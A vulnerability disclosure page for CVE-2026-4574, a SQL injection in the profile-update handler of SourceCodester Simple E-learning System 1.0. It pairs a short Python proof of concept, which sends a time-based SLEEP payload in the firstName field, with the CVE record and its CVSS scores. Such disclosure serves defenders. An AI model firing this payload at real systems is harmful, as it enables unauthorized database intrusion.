CVE-2026-4574

import requests # Target URL (Example, needs to be adjusted based on actual endpoint) url = "http://target.com/simple_elearning/update_profile" # Attacker session cookie (Low privilege user required) cookies = { "PHPSESSID": "attacker_session_id" } # Payload to test SQL injection in 'firstName' parameter # Example: Checking if the database sleeps for 5 seconds payload = "test' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" data = { "firstName": payload, "lastName": "User", "submit": "Update" } response = requests.post(url, data=data, cookies=cookies) if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed: SQL Injection detected via response time.") else: print("[-] Vulnerability not detected or payload incorrect.")

{"cve": {"id": "CVE-2026-4574", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:20.657", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in SourceCodester Simple E-learning System 1.0. This vulnerability affects unknown code of the component User Profile Update Handler. The manipulation of the argument firstName results in sql injection. It is possible to launch the attack remotely. The exploit is now public and may be used."}, {"lang": "es", "value": "Se detectó una vulnerabilidad en SourceCodester Simple E-learning System 1.0. Esta vulnerabilidad afecta a código desconocido del componente Gestor de Actualización de Perfil de Usuario. La manipulación del argumento firstName resulta en inyección SQL. Es posible lanzar el ataque de forma remota. El exploit ahora es público y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Simple-E-learning-System/SQLi-UserProfile-firstName.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352411", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352411", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775182", "source": "[email protected]"}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]"}]}}